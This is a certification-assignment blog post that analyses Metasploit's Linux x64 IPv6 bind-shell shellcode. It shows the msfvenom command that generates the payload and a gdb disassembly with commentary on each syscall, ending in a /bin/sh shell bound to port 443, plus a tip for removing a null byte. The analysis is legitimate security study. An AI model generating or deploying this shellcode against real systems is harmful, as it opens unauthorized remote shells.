This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert Certification:
https://www.pentesteracademy.com/course?id=7
Student ID: PA-30398
For the fifth assignment, I decided to analyze the following shellcode samples:
Name | Description |
---|---|
linux/x64/meterpreter/reverse_tcp | Inject the mettle server payload (staged). Connect back to the attacker |
linux/x64/pingback_reverse_tcp | Connect back to attacker and report UUID (Linux x64) |
linux/x64/shell_bind_ipv6_tcp | Listen for an IPv6 connection and spawn a command shell |
In this post, I'll document the logic of the third shellcode, linux/x64/shell_bind_ipv6_tcp
.
Let's start from the very beginning, i.e. generating the shellcode. You can do so by means of the ruby
script msfvenom
, available by default Kali Linux distributions.
Follows the command I used in order to generate the shellcode for this assignment:
msfvenom -p linux/x64/shell_bind_ipv6_tcp LHOST=fe80::a00:27ff:feb1:f461 LPORT=443 -f elf -o shellcode
# [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
# [-] No arch selected, selecting arch: x64 from the payload
# No encoder specified, outputting raw payload
# Payload size: 94 bytes
# Final size of elf file: 214 bytes
# Saved as: shellcode
Next, we can start the analysis by means of the tool gdb
:
gdb -q ./shellcode
# Reading symbols from ./shellcode...
# (No debugging symbols found in ./shellcode)
(gdb) starti
# Starting program: /home/kali/slae64/exam/assignment/5/part/3/shellcode
# Program stopped.
# 0x0000000000400078 in ?? ()
(gdb) x/8i $pc
# => 0x400078: push 0x29
# 0x40007a: pop rax
# 0x40007b: push 0xa
# 0x40007d: pop rdi
# 0x40007e: push 0x1
# 0x400080: pop rsi
# 0x400081: xor edx,edx
# 0x400083: syscall
Let's start analyzing the first instructions:
; set RAX to 0x29 (syscall sys_socket)
push 0x29
pop rax
; set RDI (first parameter of sys_socket) to 10
push 0xa
pop rdi
; set RSI (second parameter of sys_socket) to 1
push 0x1
pop rsi
; set RDX (third paramter of sys_socket) to 0
xor edx,edx
; invoke sys_socket
syscall
You could also convert these instructions in the following C code:
int socket(
10, // AF_INET6
1, // SOCK_STREAM
0, // IP protocol
);
Right after the creation of the TCP socket, there some instructions that deal with the binding operation:
(gdb) x/15i $pc
# => 0x400085: push rax
# 0x400086: pop rdi
# 0x400087: cdq
# 0x400088: push rdx
# 0x400089: push rdx
# 0x40008a: push rdx
# 0x40008b: pushw 0xbb01
# 0x40008f: pushw 0xa
# 0x400093: push rsp
# 0x400094: pop rsi
# 0x400095: push 0x31
# 0x400097: pop rax
# 0x400098: push 0x1c
# 0x40009a: pop rdx
# 0x40009b: syscall
What's peculiar about these instructions is that since the shellcode I generated is based on the IPv6 protocol, it doesn't employ the usual sockaddr structure:
; save the file descriptor of the socket into RDI
push rax
pop rdi
; sign extend RAX into RDX (zeroing it)
cdq
; push 24 NULL bytes
push rdx
push rdx
push rdx
; member sin6_port of the sockaddr_in6 struct
; in this case: port 443 in bid-endian notation
pushw 0xbb01
; member sin6_family of the sockaddr_in6 struct
; in this case: AF_INET6
pushw 0xa
; 2nd argument of bind: pointer to sockaddr_in6 struct
push rsp
pop rsi
; using the syscall 0x31 i.e., bind
push 0x31
pop rax
; 3rd argument of bind: size of the sockaddr_in6 struct
; size in this case: 28 bytes
push 0x1c
pop rdx
; calling the syscall bind()
syscall
As shown in the snippet above, the author of the shellcode used a structure of 24 bytes, which corresponds with sockaddr_in6
.
You can find more information regarding the IPv6 protocol and its data structure in the Linux manual.
After the binding operation, the shellcode should now perform a call to the listen
function:
(gdb) x/5i $pc
# => 0x40009d: push 0x32 ; use syscall 0x32: listen
# 0x40009f: pop rax
# 0x4000a0: push 0x1 ; 2nd parameter of listen: backlog
# 0x4000a2: pop rsi ; i.e. max. number of connections
# 0x4000a3: syscall
You can find more information about the syscall listen
visiting this link.
After that call to the syscall listen
, we have the following block of instructions:
(gdb) x/10i $pc
# => 0x4000a5: push 0x2b
# 0x4000a7: pop rax
# 0x4000a8: cdq
# 0x4000a9: push rdx
# 0x4000aa: push rdx
# 0x4000ab: push rsp
# 0x4000ac: pop rsi
# 0x4000ad: push 0x1c
# 0x4000af: lea rdx,[rsp]
# 0x4000b3: syscall
Analyzing them, I found out that it performs some weird operations: it calls the syscall accept
in order to allow the listening socket to receive a connection, however it doesn't allocate 28 bytes of memory as done before for the bind
syscall.
Instead, it only allocates 16 bytes, which isn't nearly enough for an IPv6 address:
; use syscall accept
push 0x2b
pop rax
; clear RDX by sign-extension
cdq
; push 16 NULL bytes (empty sockaddr structure)
push rdx
push rdx
; 2nd argument of accept: buffer for the sockaddr_in6 struct
; should be 28 bytes, but in this case it's only 16
push rsp
pop rsi
; 3rd argument of accept: pointer to the size of the buffer
; in this case it's 28 bytes
push 0x1c
lea rdx,[rsp]
; call syscall accept
syscall
Nonetheless, the shellcode sets the third argument to 28. Doing so, the syscall will store a 28-bytes address starting from the base address indicated by the register RSI
.
This way, the syscall would be able to overwrite the remaining 12 bytes if needed.
Once a connection has been accepted by the server socket, it needs to redirect three standard file descriptors
:
The shellcode uses the syscall dup2
to redirect these file descriptors, looping from 2 to 0:
(gdb) x/8i $pc
# ; save the file descriptor of the client socket into RDI
# ; 1st argument of dup2
# => 0x4000b5: xchg rdi,rax
# ; 2nd argument of dup2
# ; file descriptor to redirect
# 0x4000b7: push 0x3
# 0x4000b9: pop rsi
# ; use syscall 0x21: dup2
# 0x4000ba: push 0x21
# 0x4000bc: pop rax
# 0x4000bd: dec esi
# ; call dup2
# 0x4000bf: syscall
# ; go back to redirect the other standard file descriptors
# 0x4000c1: loopne 0x4000ba
The last block of assembly instructions involves the usage of the syscall execve
in order to spawn a shell.
In this case, after redirecting the standard file descriptors, the shellcode spawn a /bin/sh
shell.
(gdb) x/8i $pc
# ; using syscall execve
# => 0x4000c3: push 0x3b
# 0x4000c5: pop rax
# ; clear RDX by sign-extension of RAX
# 0x4000c6: cdq
# ; set RBX to point to "/bin/sh" (reversed)
# ; followed by a NULL byte
# 0x4000c7: movabs rbx,0x68732f6e69622f
# 0x4000d1: push rbx
# ; 1st argument of execve: pointer to program to call
# 0x4000d2: push rsp
# 0x4000d3: pop rdi
# ; invoke execve
# 0x4000d4: syscall
/bin/sh
Note that the instruction movabs
contains a NULL byte in the path of the shell. To improve it, you can use a path such as /bin//sh
or //bin/sh
.